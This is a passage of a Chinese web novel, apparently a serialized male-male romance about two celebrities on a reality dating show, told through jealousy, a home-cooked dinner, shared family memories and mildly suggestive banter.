“天哪!追星追到能跟偶像做朋友,我也太幸福了吧!” 只是一起拍个戏送个东西叫个哥,这怎么能算是朋友? 季沨难道有很多朋友吗? 陆屿洲手里的筷子捏得死紧,给莫可看得胆战心惊,生怕他跟捏杯子一样给捏碎了,还好这个时候手机突然叮咚一声。 是明文的消息:【陆老师,我到了,你要的雪梨燕窝买好了,给你送到哪里?】 “哎呀光忙着说话我都忘了,”许凌则把保温杯拧开递过来,“花茶都快凉了,沨哥你快喝!” 季沨还没来得及伸手,胳膊就被人不着痕迹地碰了一下。 “不好意思,”陆屿洲礼貌道歉,“明文回来了,我回个消息。” 没听说过回消息能用左手还要绕个身位的,陆屿洲现在的表情像极了要被丈夫抛弃的糟糠之妻。 “这么快就回来啦,”季沨笑起来,却又转向许凌则,“不好意思,我胃不太好,平时不怎么喝茶。” “我看杨导也忙了一上午,不然你问问他?” 季沨说完,这才问陆屿洲,那是一种不同于许凌则的客套的熟稔语气:“陆老师,明文到哪了?你的燕窝再不来,我菜都要吃完了。” “马上就到。”陆屿洲立刻坐直身体,季沨的态度让他刚刚的不适瞬间烟消云散,“我让店家加了保温层了,”一副求表扬的语气,“放心,这才也用的代糖。” 谁知对面那位风滚草一点也不会看人脸色:“这样啊。”许凌则收起保温杯,“好啊,那我下次给你换成蜂蜜水。” “沨哥,你晚上有空吗?” “怎么了?” “下了戏一起去吃饭呗,”许凌则目光直白,“附近有家烤肉味道很不错,我们公司的前辈都喜欢去那里!” “我做了功课的,粉丝说你喜欢吃烤肉!杨导说让咱们多联系一下培养默契,刚好过两天要拍家宴戏,不然先去找找感觉?”许凌则双手合十,“求求沨哥了!” 家宴之所以叫家宴,就是因为家族人数众多场面盛大,你们两个人也能称为宴会吗? 陆屿洲看许凌则的眼神很像将季沨当年对黑粉说过的话对他重新说一遍,让他体会一下什么才叫真正的风滚草。 不过也许是觉得一连拒绝两次不太好意思,季沨道:“也不是不行……不过晚上不是还有戏嘛,看看我们几天结束?” “好呀!”许凌则把这当成是同意的信号,冲他一眨眼睛,“我这次一定不NG!” 明文拎着姗姗来迟的雪梨燕窝,包装盒在陆屿洲手中发出刺耳的咯吱声响,边缘打不开,陆屿洲直接暴力给他撕了。 嘶啦一声,季沨抬起头:“怎么了,看起来这么不高兴?” 陆屿洲低声道:“你晚上要跟他去吃饭吗?” “结束得早的话没问题啊,”季沨的语气很无所谓,“反正回家也没有饭吃。” 陆屿洲闻言垂下眼睛,包装盒在手里捏得更大声了。 “陆老师,”季沨看他一眼,“你要是再拆一会儿,燕窝都要凝固了。” 陆屿洲这才如梦初醒,将盖子打开递给他,手指捏紧,几次想说话都没开口,倒是季沨懒洋洋抱怨一句:“不过这两天拍戏这么累,我也懒得折腾,感觉还不如在家吃碗西红柿鸡蛋面。” 陆屿洲小声嘀咕:“你又不回家。” “嗯?” 季沨一回神,陆屿洲立刻道:“没什么。” “那你刚刚是想说什么,”可季沨却没有放过这个话题,“今天不回来了吗,找到酒店了?” 原本是这样,但是…… 陆屿洲将筷子递给季沨,又拿起另外一双挑着没弄完的欧芹,脸色看起来并不是很高兴,淡淡道:“说我今天在家里做鸡蛋面。” 季沨盯着他,没忍住低笑了一声:“你在生气?” “没有。” 季沨不过是跟同事吃顿饭,虽然这个同事居心不良不安好心诡计多端不是好人……但是他又凭什么生气? 欧芹快被陆屿洲捣成欧芹碎,季沨撑着下巴望着他:“那你做鸡蛋面,是一人份还是两人份?” 陆屿洲唰地抬起眼睛望向他。 却见季沨笑意盈盈:“不想让我去啊,陆老师?” 陆屿洲张了张嘴巴,理智分明是告诉他在越轨,可是嗓子却一个字也发不出来。 他当初在酒吧里看到季沨跟初禾那样亲密都没有阻拦,这人是宁愿从自己身上找原因都不会干涉别人的自由的。 可他却也说不出来一个想字。 季沨倒也不急,他这样情商卓绝的人,话题停在这里一点也不急着绕开,反而是端起旁边的雪梨燕窝喝了一口,陆屿洲挑的东西甜度和口味永远合适,饱满的唇被沾湿,季沨半垂着眼睛,像一个运筹帷幄的,老道的猎人。 半晌,陆屿洲终于在这份沉默里开了口:“我说不想,你就不去吗?” “当然,”季沨终于笑起来,“我不是都说了嘛,你是不一样的。” “我这个人比较偏心——” 季沨眼睛的光芒好像蛊人的月亮,缓声道:“陆老师说不想,我就不去了。” 他的目光那样澄澈温柔,让人生出无论如何都会被包容的错觉。 陆屿洲的心脏像是被放进水里的泡腾片,鬼使神差地开了口:“我不想。” 声音很轻,但是说出这句话后,好像其他的也不是那么难开口:“我煮的面是两人份的。” “如果你喜欢吃烤肉的话,我可以试试荔枝烤肉,荔枝烤鱼也很好吃,你先去拍戏,等下班我就做好了。” “别去找他了。”陆屿洲说,“你知道,我买了花的。” “太晚回去,花就不新鲜了。” 他悄悄伸出手指,在季沨的手心蹭了蹭,轻声道:“别去了,好不好?” “季沨,跟我回家吧。” 第33章 第三十三章 季沨开门回家的时候, 差点没认出来。 餐桌上空着的花瓶里长出了花,是季沨早上交代过的大飞燕,陆屿洲自己给它配了只铃兰, 像是在线条里坠了一串风铃,挨个悬出瓶外, 颇为好看。 原本光洁的大理石餐桌被铺了上餐布,是个大飞燕很般配的蓝紫色, 玄关处还插了几枝雪柳, 正对着夜色的落地窗则是灿烂的向日葵。 季沨原以为陆屿洲所说的买花是买一束, 没想到他居然将家里的角角落落都给布置了一遍。 会在车里放摆件CD机和香薰,这人向来喜欢这些华而不实却很有生活感的东西, 原本样板房一样的房子瞬间被变得生机勃勃, 季沨刚刚换好鞋, 便看到陆屿洲腰间系着围裙,端着炖盅从厨房出来。 也许是那天节目组准备的碎花围裙真的损害了陆大超模的审美,他不知道从哪里找出来一个材质十分新颖的围裙——很像是透明雨衣的硬质塑料感,这种做成围裙除了穿着没那么舒服, 好看倒是挺好看。 衬得陆屿洲不像是要去厨房做饭, 而是要在时尚杂志拍厨房大片。 这种材质造型被束出的腰身和长腿都一览无余,走路时西装的褶皱若隐若现,也许是男女通用, 设计师还在下方卷了一点花边。 季沨的眼睛从陆屿洲那张冷淡高级的超模脸到下方被围裙覆盖住的长腿,眼眸微深, 不着痕迹地捻了下指尖。 难怪这种设计不被量产。 因为它确实不适合日常使用, 只适合在夜里当做情/趣道具。 “你回来了?”陆屿洲见到他, 原本冷淡的脸上便染上温柔,“我刚把汤炖好, 先喝……” 陆屿洲的话戛然而止,发现季沨的关注点似乎并不在自己的手,而在他的腿。 他在别的事情上笨拙,唯独在此事上十分敏锐,一看季沨的眼神就知道他在想什么,白天的愧疚瞬间烟消云散:“季老师,你不会见到我也在想着那种事吧?” “是啊。” 谁知道季沨居然就这样承认了,一抬下巴:“你这个围裙不错,很适合配合落地窗和全身镜玩。” 两边都是透明,中间是无所遁形的身体,不着寸缕却又欲说还休,透明围裙是贤惠和放浪的双重意象,实在带感。 “你这款是哪个设计师做的,还有存货吗?”季沨说,“我买一件。” 陆屿洲似乎是被他言论震惊了,炖盅啪地往桌上一放:“你要买这个?” “嗯。” “做什么?” “当然是用啊,”季沨笑起来,“不过不是做饭的时候用。” 那就只能是做/爱的时候用。 可是自己现在又不能陪他玩,那季沨……手指握紧:“你跟谁用?” 季沨奇怪地打量了他一眼:“你跟我上/床用什么也会跟郝景说吗?” “我……” 确实,他跟季沨的细节确实不会跟郝景说。 所以季沨跟他其他人的细节也没有告诉他的必要。 但是!但是…… 但是季沨跟郝景能一样吗? 他跟其他人能一样吗? 哄着他做饭的时候还说他是特别的,陆屿洲买了一上午的花、剥了一下午的荔枝、搅了一晚上的虾滑,结果季沨回来就看上他的围裙,还要和别人…… “没有存……” “我自己用啊。”陆屿洲的话还没说完,季沨突然笑着开了口。 “过两天等武戏拍完就去打个乳/钉,陆老师之前建议的那款很漂亮,我已经让设计师开始制作了,”季沨手指撑着下巴,桃花眼微微弯着,缓缓道,“配这个……应该会很好看?” 他的嗓音和姿态有种让人跟着想象的魔力,陆屿洲喉结一滚,便听到季沨道:“对了,你刚刚要说什么来着?” “咳……那个,”设想的画面在脑海里挥之不去,陆屿洲脖颈有些莫名发红,努力想了半天才想起一个合适的话题,“我是说,你今天的演技还挺好的。” “跟之前试戏的时候……好像不太一样。” 没见过转话题转得这么生硬的,不过季沨看了眼陆屿洲那按在炖盅上快被烫红了的手,还是从善如流地跳过了刚才那个:“很正常啊,演员演那么多戏,总会有一两场还能看的。” “而且……我只是想到了我自己。” “你自己?” “嗯,”季沨笑了笑,却没有立刻讲,而是问,“你做的什么汤啊?好香。” “椰子鸡汤,荔枝烤肉味道比较淡,跟椰子鸡会比较适配一点。” 陆屿洲这才想起来自己一直忘了给人盛,慌忙拿起汤勺。 季沨看着他的手从滚烫的炖盅上移开,这才继续开口道:“我的母亲也是生病去世的,而且,我的父亲在我很小的时候就离开了我们。我从小到大……同样没有见过他。” 他说起这句话的平静淡漠,陆屿洲却手指一颤,想到季沨今天掉的眼泪掺着真实,心脏都跟着发紧:“抱歉。” “没关系,”在他说出更多怜惜的话语之前,季沨伸手将那碗汤接了过来,“椰子炖的?看起来很不错。” “不用拿这个眼神看着我。” 季沨一边喝汤,笑容恬淡:“过去这么久,我早就已经释怀了,而且我现在不是过得很好嘛。” 陆屿洲目光在他样板房一样的别墅里扫了一圈,突然觉得季沨脸上的笑特别刺眼,他之前听说大家不会做饭自己起身的时候也是这样的笑,许凌则演戏失误NG的时候也是这样的笑,好像发生什么,接受什么,都无所谓的样子。 “其实我也是。”陆屿洲突然开口。 他从来不跟人分享任何心理和生活上的感受,这一点连郝景也没有过,因为两个人交换秘密,对陆屿洲来说也算是亲密关系的一种。 可是现在,对着季沨,这些话好像很容易出口一样:“我父母在我很小的时候就离婚了。” “法律上把我判给了父亲,因为我妈妈那时候已经有了新的男朋友,但是我爸爸也从来没有回过家,我小时候的家长会都是他的秘书替他开的,以至于同学总是问我为什么过一个学期换一个爸爸。” 像是什么笨拙的安慰,不知道说些好听话,于是只能用自己的经历。 “那我比你要好一些,”季沨喝了口汤,椰子味带着一丝幽淡的甜,和虫草花炖起来很鲜美,“我的妈妈还是会给我开家长会的,她虽然文化程度不高,还是会尽力记下老师的每一点意见,不管我表现得好不好都不会骂我,考完试就会有莲藕排骨汤喝,最后在医院的那段时间,还在给我的小糊团投票……” “你的妈妈很爱你。” “嗯。”季沨说,“那你呢?” “我?” “你之前说……觉得父母不爱你?” 是昨天做饭的时候说的,陆屿洲没想到季沨还记得,他的目光温柔澄澈,好像是夜色下的湖泊,能让人肆无忌惮袒露自己的内心:“那时候还比较幼稚吧。” “我父亲经常到处跑,我一年都见不到他几次,家里的保姆知道没人管,渐渐地也就不怕我一个小孩子,虽然不至于像新闻上一样虐待殴打,但是有时候为了接孩子照顾老人,遗漏一两次晚饭也是常有的事。” “我试图跟我妈说,但是她每次跟我打电话只是分享她的新恋情,我最生气的一次,是她把自己的结婚日期选在了我的成人礼。” “于是我就跟他们断联了。” 季沨轻轻地笑了一下,他的手抬了抬,似乎是想摸陆屿洲的脑袋,可最后也只是给自己盛了一勺汤:“我不知道这个,抱歉。” 明明是他让季沨回忆起了已经去世的温柔母亲,怎么能让季沨跟自己说抱歉,陆屿洲觉得有点懊恼。 他想了想:“我妈妈……其实我也很难说她对我的感情。” “她有时候会很长时间不理我,有时候又会热衷于跟我分享她的生活,还会给我带各种奇奇怪怪的礼物,最近似乎看上了瑞士的condom。” 季沨配合地讶异:“condom?” “避/孕/套,你见过瑞士的避/孕/套是什么样子吗?” 陆屿洲从聊天记录里翻出来给他看,确实是很别致的造型—— 一个人仰躺在地上,火山口从他的正中央喷发出来,看起来就像是释放的时候,顺带喷发了一座火山。 形象又狂放。 很难想象这个礼物居然是由母亲送给儿子的,季沨说:“你妈妈很有意思。” “有意思?”陆屿洲说,“我小时候不知道这个东西是套,把它当作工艺品摆在过我的书架上,同学们来家里玩,还告诉他们这是我妈妈给我送瑞士带的,热情地分发给他们。” 季沨笑了:“然后呢?” 陆屿洲:“然后就被他们的家长找上门,告诉我爸让他好好教育孩子。” “我爸那时候刚从墓葬群回来,礼貌地冲他们道了歉,并挨个送了他们一截人类趾骨模型作为伴手礼。” “然后……那群小孩就再也没有跟我一起玩过了。” “哈哈哈哈哈哈哈哈。” 季沨的眼睛里终于带了明显的笑意,不是那种故作释然的强颜欢笑,而是真正的展颜,陆屿洲听到他说: “笨蛋。” 语气轻柔温和,带着宠溺。 陆屿洲注视着季沨的笑容,他没有跟人这样相互交换过心里话。 可如果这个人是季沨的话,好像感觉也还不错。 就像是之前一直以为自己对那种事情不感兴趣,可如果那个人是季沨,好像就跟成了瘾一样。 陆屿洲一直以为自己足够了解季沨。 了解他身体的哪个地方最敏感,了解他碰到哪里才会更快乐,用哪种语调说不要的时候是在欲拒还迎,用哪种语调的时候是在真的推拒。 了解他用condom的时候是喜欢螺旋还是花纹,了解他某一天更想要在正面还是背后…… 但他却又从来不知道跟妈妈坐在一起开家长会的季沨,考完试和排骨汤的季沨,在妈妈住院的时候还要去打歌舞台的季沨…… 好像拼图的一侧走到了尽头,却突然在另一侧的大片空白里补全了一块的心脏。 陆屿洲望着季沨那双漂亮眼睛和嫣红的嘴唇,喉结滚了滚,一瞬间居然生出想要接吻的冲动。 叮! 定时的烤箱发出完成的声音。 陆屿洲的思绪被打断,火速站起身,把烤盘端出来,荔枝烤肉摆好放进瓷盘。 这种烤肉是将荔枝剥皮核挖空,里面放虾滑,外面则用嫩牛肉裹好,荔枝的清甜和肉香完美融合,陆屿洲往上面撒好烧烤料汁:“尝尝。” 一口下去汁水横流,混合的清香在口中爆开,季沨脸上露出餍足的神情:“真是心灵手巧啊陆老师。” “又是自己洗床单又做饭,还说不是田螺姑娘。” 昨天才说过不会做的事情今天就打了个脸,陆屿洲发现自己在季沨面前似乎经常失去原则,只是负隅顽抗道:“田螺姑娘的前提得是个姑娘,我又不是。” 季沨扫了他一眼:“围裙都带花边,还说不是小姑娘。” “那你不是也说要买,”陆屿洲逼近他,“难不成你也是?” “嗯哼。”季沨应得很快,“反正我粉丝也经常叫我老婆。” “是吗?” 也许是今晚的氛围太好,陆屿洲难得带了点符合他年龄的孩子气,将身上的围裙一解就要往季沨身上套: “那我现在把围裙给你系上,我是不是也能叫你——” 陆屿洲的话戛然而止。 他的手还按在季沨的腰上,只需要再稍稍往下就能吻下去,动作却像个提到了什么违禁词汇的机器人一样定住了。 唯一可以证明他存活的是越来越红的耳尖。 可惜季沨本人并不觉得有什么,反而是挑眉一笑,好听的嗓音闯进陆屿洲的耳膜:“叫我老婆?” 红色从陆屿洲的耳尖蔓延到脖子根。 季沨却在这个时候屈了屈膝,示意那个在自己大腿上存在感极强的部位,颇有暗示性地问道:“陆老师,瑞士的condom要怎么用啊?” “我,”陆屿洲喘着粗气,声音发哑,“我去解决一下。” “你把领带带过来了?” “我,”陆屿洲没想到季沨会这么快看透自己,“我那个……” “没带也没关系,”季沨笑了笑,语气包容,“我有呀。” 他说着,抬手将自己系着的那条一扯,修长的指节绕过脖颈,眼眸带笑递给陆屿洲,哄道: “用这个,嗯?” 第34章 第三十四章 “陆先生, 按照您的要求,第一批打样的成品已经出来了,您看看有没有什么修改的地方?” “嗯。” 陆屿洲淡淡地应了声, 他工作的时候很认真,那张线条利落的脸不笑的时候就显得很不好亲近, 琥珀色的目光审视过旁边剪裁精致的服装:“这一件,我要的是暗酸橙不是黄色, 请问这两个颜色在色卡上很接近吗?” 声音不大, 却足够让人心头一惊, 设计师瑟瑟发抖,看着他像只煞神般扫视过成品—— “还有这一件, 我记得设计书上写的是70%的棉和30%的天丝, 这么粗糙的手感, 建议你重新测一下,棉的含量应该有85%吧?” “我不知道你们对镂空裁剪这四个字是不是很难理解,如果是的话,我不介意看一下重新看一下你们的毕业证书?” “这个, 褶皱不够, 返工底部重褶。” …… 苍天啊,设计师一边在本子上疯狂记着意见一边在心里骂人,这么难搞的甲方真是许多年没有见到过了, 要不是他给钱太多,估计现在能把本子甩在他脸上。 “当然可以了陆先生, ”设计师心里mmp, 面上依然笑嘻嘻道, “您还有什么问题吗?” “7号送过来的那件呢,这都三个月了, 怎么样品还没出来?” “那件,由于您说是压轴设计,我们讨论得会比较多一点,而且,”设计师深吸了一口气,“您确定这个世界上真的会有俊美中带着一丝蛊惑,妖艳中带着两抹清纯,浪荡中带着三分肆意的……‘人 ’,吗?” “那当……” 嗡! 是陆屿洲的手机响了。 季沨(★>U<★):【节目组发地址了,你还在工作室吗?】 【嗯,】陆屿洲回,【等我一会儿,我去接你。】 季沨(★>U<★):【不用,太麻烦啦。】 季沨(★>U<★):【我跟初禾刚好在一档节目,等会儿一起过去,你那边结束之后直接过去吧。】 初禾? 上次跟季沨差点亲上的那个? 陆屿洲手指飞快:【他开车又不行,这么远的路让你一个人开吗?】 想了想又觉得理由不够,补充道:【你上次不是说想听soundtrack吗,那个黑胶我找到了,路上可以给你放。】 季沨发了个小猫挠腮犹豫的表情:【可是……】 【我们在节目上不是CP吗?这次选址那么远,万一导演需要拍我们一起下车视频怎么办?】 陆屿洲把季沨的那个表情包搜了同款,发了一个小猫捧心的表情过去:【季老师……】 【我这边过去要六个小时,没人跟我说话,路上多无聊啊。】 季沨没回复,陆屿洲又发了一个捧心:【季老师,好不好?】 季沨(★>U<★):【好了,刚才婉拒人去了。】 【真是拿你没办法。】 【那我先去买两杯咖啡提提神,】陆屿洲几乎可以想象季沨淡淡嗓音里撩人又宠溺的模样,【又不是上/床,也不能只让你一个人开,我跟你换着来吧?】 设计师匪夷所思地看着陆屿洲刚刚还因为不满抿成一条直线的唇角渐渐地勾了起来,仿佛是一个雕塑大半夜突然笑起来一样毛骨悚然。 “当然有啊。” 陆屿洲开口,设计师一愣,才发现陆屿洲是在回答他之前的问题。 陆屿洲说着话,眼睛却望向屏幕里季沨的头像。 抱着鸢尾花的那只手,让人想起那个播放量贼高的机场出柜视频。 二十岁的戴着墨镜的我行我素的漂亮撩人的季沨。 “好了,那就这样。” “剩下的就先缓缓吧,”陆屿洲的语气明显换了一个度,甚至善解人意道,“再多了你们一时半会儿应该也做不完。” “那就这些,修改方案下周之前发给我就行。” 天哪,甲方居然还主动关心他们的工作量了?! 刚刚发消息的那位是菩萨吗? 设计师眼神冒光,便听到陆屿洲回头又道:“但是压轴那件的定稿时间不会变。” 他说:“我要赶着送人呢。” * 陆屿洲抬手为季沨打开车门。 “等很久了吗?” “还好,”季沨说,“结束之后又做了单访。” “不过初禾一直问我为什么跟他一起,还说有团队的一些问题想要请教我。” “跟他一起有什么好。” 陆屿洲说着打开储物格,将为季沨准备好的毯子眼罩茶包香薰统统拿出去,毯子铺开盖在季沨腿上,虽然季沨的膝盖早就好了,这人还是有一种要好好养护着的错觉,并邀功道:“他还需要你照顾,能有我这么贴心吗?” “你自己不也是小孩一个?” “什么?” “没什么,”季沨笑了笑,“我说陆老师真是全天下最贴心的人了。” 陆屿洲这才满意地轻哼一声。 季沨唇角勾了勾没说话,自打那次尝到甜头之后,陆屿洲就像是划领地的小狗一样不断地试探着季沨的边界。 而季沨确实也配合地、纵容地一退再退。 他允许他用自己替代别人的位置,允许他用潜移默化的方式将两人的生活交融在一起。 直到现在。 季沨看着陆屿洲给他系好安全带,随后一只手搭在方向盘上启动车子,很自然地聊起刚刚的话题:“节目那边怎么样?” 季沨微一挑眉。 这段时间的同居让他们有远超于朋友的亲昵和熟稔,包括远超于友情的聊天界限。 季沨故意模糊地了这一点,出于对亲密关系的忐忑,陆屿洲也十分配合地安于现状。 这样的关系确实比之前做床伴的时候好了不少。 但是季沨想要的终点,却不止于此。 还剩下最后一步。 陆屿洲已经习惯了这一切之后,是时候让他知道什么那条真正的界限到底应该划在哪里了。 “还行,邀请我下期做评委来着。” 季沨勾起唇,手指在陆屿洲的领口处晃了一下:“领带歪了。” 陆屿洲对自己一个模特居然不能时刻表现出衣着端庄十分自责,下意识垂头看了一眼,视线的聚焦处却不是那条印花的领带,而是季沨的手腕。 季沨今天戴了一块表。 配正装才会戴的男士手表。 季沨从前并不热衷于这些东西,比起手表他可能更喜欢各种珠光宝气的手链手镯,陆屿洲从来没见他戴过。 而且是这一款。 并不是多么罕见昂贵,这牌子其实挺知名。 当然款式也挺精美,玫瑰金双追针,陆屿洲十八岁生日的时候,杰西卡还曾经送过他一个。 这样就意味着,这款腕表的出生年月至少也要是五六年前。 由于刚刚在工作室的时候还聊过天关注过,于是陆屿洲一眼可以看出,这就是季沨微信头像里手腕上戴着的那一款。 这个头像从他加上季沨的那一刻就没有换过,很难说到底是什么时候开始使用。 或者……是这块表流行的时候。 五年前还是六年前? 季沨这个身价,没必要戴这种已经过季了的潮流款式。 更何况,这样大的表盘和低调的深咖,明显也不是季沨自己会挑的颜色。 谁送的? 谁在五年前送了这样一块表,居然让季沨戴到了现在? 谁送的谁送的谁送的谁送的谁送的谁送谁送的谁送的谁送? 若是以前陆屿洲心里虽然已经百爪挠心,也不会当着季沨的面窥探他的隐私,但是现在,季沨这些天的行为给了他可以往前踏一步的底气,于是他理所当然地状似无意地提起:“新买的表吗?” “不是,”季沨说,“别人送的。” 陆屿洲琥珀色的眼睛微微眯起:“送的?” “嗯。”季沨点头,语气自然,“怎么了?” “没什么,”陆屿洲用词似乎并不在意,只是语气却颇像是绿茶在阴阳怪气,“就是觉得这款对你来说表盘好像是有点大了。” “是吗?” 季沨垂眸望了一眼,眸中光华流动,细看来还带着三分不舍三分怀念和四分淡淡的忧伤:“好像是有点。” 他说着,又勾起唇角,满是依恋的样子:“不过当时彼此年纪也不大,不太会挑吧。” 当时? 当什么时? 什么时候的当时? 五年前季沨有多大,二十岁?十九岁? 应该还在上大学吧? 大学里的季沨,穿着白衬衫笑起来能把专辑售罄的季沨,被人走在路上叫学长的季沨。 收下一块并不合适自己的表的季沨,收下一块审美奇差的表的季沨,傻傻地将这块当丑陋的表戴了五年的季沨。 也会惦念一个人这么久吗? 是谁是谁是谁是谁是谁是谁是谁是谁是谁是谁是谁是谁是谁? “谁啊?” 陆屿洲语气不善。 说完才意识到自己似乎把心里话问出了口,不过那又如何,季沨说过他说特殊的,他为了他拒绝许凌则拒绝了初禾,不过是一个以前没有听过姓名的人。 他要把这家表的全球代言都拿下来送给季沨。 “嗯?” 不过季沨像是刚刚回过神来似的,有些意外地看了他一眼,语气中突然带上了几分警惕:“这个……我不方便说。” “我们之间的关系,应该也没有到可以聊情感往事的地步吧,陆老师?” 他们之间的关系? 他们之间是什么关系? 陌生人、 朋友、床伴、挚友,还是…… 陆屿洲一脚刹车停在红灯路口,便见季沨将衬衫衣袖往下一拉,珍惜地盖住了那块手表,随后,撕开眼罩往眼睛上一戴:“我先补会觉儿陆老师,两个小时后跟你换班。” * 节目组这次安排的聚会地点很远,几乎开到了山里,工作人员安排他们在旁边的镇子上休息了一夜,第二天一大早才进的山。 金秋十月,正是山林轩茂的时候,季沨打开车门一抬头,便看到漫山遍野的橘子树。 大面积的亮橙色在湛蓝的天空下仿佛色彩浓郁的油画,看着就让人心情变好。 “季老师!” 何皎皎和宋晚到得早,一见他们就挥手打招呼:“快快快,快上来!” 大家的手机一开始就会被没收,不过何皎皎机智地带了个拍立得,正站在橘子树下摆拍,一见季沨便拉着他过来:“快快季老师!我要跟偶像合张影!” “好啊。” 季沨靠在她身边一起比了剪刀手,金黄的硕果下笑容灿烂。 两人都是偶像出身,容貌自然也很能打,何皎皎拿在手上将照片甩干,惊叹道:“季老师你不愧是我男神,太好看了太好看了怎么会有人随手一拍就这么上相呢,我要把这张照片放在我房间的照片墙里!” 照片上的色彩渐渐清晰,陆屿洲垂眸看了一眼:“我们好像也没拍过合照。” 居然真的一次也没想起来,这对他们这种一天能拍八百张照片的职业来说实在太不应该,陆屿洲望向季沨,试图弥补昨天不恰当话题带来的隔阂:“季老师,我们也拍一张吧,好不好?” 陆屿洲有什么想要的时候就喜欢这样说话。 用那双琥珀色的,湖水一样的眼睛凝视着你——“抱着睡好不好”“给你买花好不好”“跟我回家好不好”,小心翼翼地,又带着点讨好和试探,好像怯生生的小动物。 而季沨从来不会拒绝这样的陆屿洲。 陆屿洲以为这次也是一样。 “好啊,那我把拍立得给你们用!” 谁知道何皎皎刚递过来,季沨反倒拒绝了:“不用了。” “我跟陆老师节目上的关系本来就敏感,万一这种私下合照流出去就更说不清了。” “又不是真的情侣,节目上演演就行了,其他时候还是要避嫌的,”季沨望向陆屿洲, “对吧,陆老师?” 陆屿洲攥紧了手指。 他直觉有什么开始变得不一样,那个在别墅里躺在他怀中的季沨好像是某种夜晚限定,在见了光的恋综里就会消失。 而这种感觉似乎愈加明确起来—— “季老师,”何皎皎眼尖,“第一次见到你戴手表哎,这款还挺好看的,你买的吗?” “不是,别人送的。” “谁送的啊?” 便听到在他面前避而不谈的人弯起眼睛一笑:“当然是很重要的人。” “我去,你这么说肯定有故事吧?”何皎皎看了一眼周围没开机的摄像,“天哪!这表出了五六年,不会是你初恋吧?” 陆屿洲唰地抬起了头。 “算了算了,当我没问。” 何皎皎也知道自己说错了话,恋情对他们这些偶像来说都是涉及隐私的秘密:“不好意思季老师,我瞎说的。” “没关系。”季沨说,“你又不是外人,你不是我小师妹嘛。” 他说着勾起唇角,余光瞥见正盯着这里的人:“跟别人当然是不一样的。” 陆屿洲胸膛剧震,这是当初季沨哄他的时候说过的一模一样的话! 陆屿洲敏锐地察觉到自己曾经被给予的特权正在被回收,又或者,那些特权对季沨来说就像他随手洒出去的微笑一样一文不值。 季沨说得对,他们并没有什么特殊的关系。 给予他的同样可以给予其他人,这没什么了不起。 但是……陆屿洲手指掐进掌心,听到季沨道:“想知道?” “当然啦。”何皎皎被哄得心花怒放,更何况她本来就是八卦体质,“不会真是初恋吧师兄?” 季沨挑眉勾勾手指,腕间的表盘闪闪发亮,他仿佛没看到正热切注视着这里的视线:“悄悄过来,我告诉你。” 陆屿洲眼睁睁看着何皎皎朝他踏了几步,季沨微微弯下腰,用只有他们两个人听到的声音,唇齿轻启。 第35章 第三十五章 两人贴得很近, 没人听到季沨到底说了什么。 可那一刻的何皎皎却震惊地捂住了嘴巴,随后左右扫视,仿佛知道了什么惊天秘密的样子。 “怎么了?你们两个人说什么呢?” 商序跟叶辞归姗姗来迟, 后面还跟着江沼和初禾。 他倒不是真的想问,很快就换了个下一个问题:“这荒山野岭的, 潘导有跟你们说这期是要来干什么的吗?” “没有啊,”何皎皎摇摇头, “只是说让我们带点宽松的衣服和运动鞋。” 她说着望了一眼漫山遍野的橘子树:“这里这么好看, 估计是要我们野营的吧。” “我觉得也是!”江沼深以为然地点点头, “早知道就把我的帐篷带过来了!” 初禾:“你还会搭帐篷?” “那当然,”江沼得意道, “我之前也是去追过流星的好吧, 户外生存能力很强的, 总之不会让你们没地方睡啦。” “啊,”季沨捧场道,“厉害厉害。” 他的语气草率又敷衍,甚至连被夸的江沼本人都把这当成是一种高级的嘲讽, 可他还没来得及怼回去, 便看到一旁的陆屿洲恶狠狠地瞪了他一眼,像只被抢了骨头的小狗。 随后抬步走到季沨身边,慢条斯理地整整袖口:“我也会搭帐篷。” 季沨微一挑眉:“哦。” 预期的夸奖并没有到来, 陆屿洲的嘴唇抿成一条直线。 “刚好我们带了零食,嘿嘿!”何皎皎拍拍旁边一大包的零食袋子, “超级多!” “你喜欢白桃味气泡水对不对?”何皎皎先递了一瓶给季沨, “这个给你师兄!” 怎么短短几分钟就变成了师兄了!? 陆屿洲又靠近一点:“我也带了。” “我买的无糖的, ”他非要强调这一点,好像是为了表示只有自己最贴心, “这个还有你上次说的枫糖吐司,还带了你喜欢的茶包。” “谢谢。”季沨礼貌点点头。 现在不说他是最贴心的小孩儿了。 陆屿洲的脸色更不好看。 “那完了,我们还以为这次要做饭呢,什么都没带。”商序搓搓手掌,“不过我虽然做饭不太行,烧烤却还可以,如果野炊的话我也可以负责大家的伙食。” “好啊,”季沨笑起来,“那就谢谢商哥了。” 陆屿洲拧起眉,终于忍不住道:“你不是说了这次想吃我做的饭吗?” 摄像一开机,冷不丁就捕捉到这一句,弹幕立刻就炸了—— 【等等等等,季沨说想吃lyz做的饭?什么时候,上期有说过这话吗?】 【好家伙不会是看记录CP现在火了所以节目组开始卖了吧?】 【不太像是卖的,lyz这个表情多自然啊,看起来跟他多在意一样,他一个模特演技这么好啊?】 此言一出,众人齐齐望向陆屿洲。 “上次在剧组帮陆老师留了份盒饭,”季沨笑了笑,“陆老师这人比较善良,非要做顿饭报答我。” 他仿佛没注意到摄像,继续道:“其实我觉得完全不需要这么客气的,朋友嘛,这点小事就是举手之劳。” 他这么轻飘飘的一句,不仅表明了刚刚的闲聊是大家都不知道节目开播的情况下进行的。 而且,他和陆屿洲私下的关系至多不过止步于朋友。 朋友,这是季沨今天第二次提到这两个字。 陆屿洲在唇齿间过了一遍。 转头便看到朝他们走来的摄像。 “几位老师终于到齐啦!” 未免他们再聊些不该聊的,潘叙适时带着节目组走过来,后面一排衣架上挂着的花花绿绿的东西:“大家都看到背后的橘林了吗,猜猜我们今天是要干什么?” “这里还能干什么,野餐呗。” “就是,潘导你也太没有新意了,”宋晚指了指工作人员拖着的东西,“这些是什么,给我们野餐用的餐布吗?” “就算是餐布,”江沼嫌弃皱眉,“这也太丑了吧。” 陆屿洲深以为然地点点头。 从他审美来看,他是宁愿从后备厢拿件风衣铺在地上用的。 “你们在说什么,什么餐布?”潘叙说,“这是要给你们穿的!” “什么?!” “穿什么?!” “谁要穿?!” 潘叙微微一笑,指了指后面漫山遍野的橘子树:“看到后面这些树了吗?” “我们节目的金牌赞助商,嘉园果汁,每一滴都产自原生果园,”潘叙报着广告词,“这里就是嘉园合作的果林之一,每年秋季,当地果农都需要从树上采摘橘子运送到工厂酿成果汁,所以我们今天的任务就是——” 潘叙大声道:“摘!橘!子!” 草啊。 见过节目组需要口播赞助商的,没见过为了赞助居然还真的原生态义务劳动的。 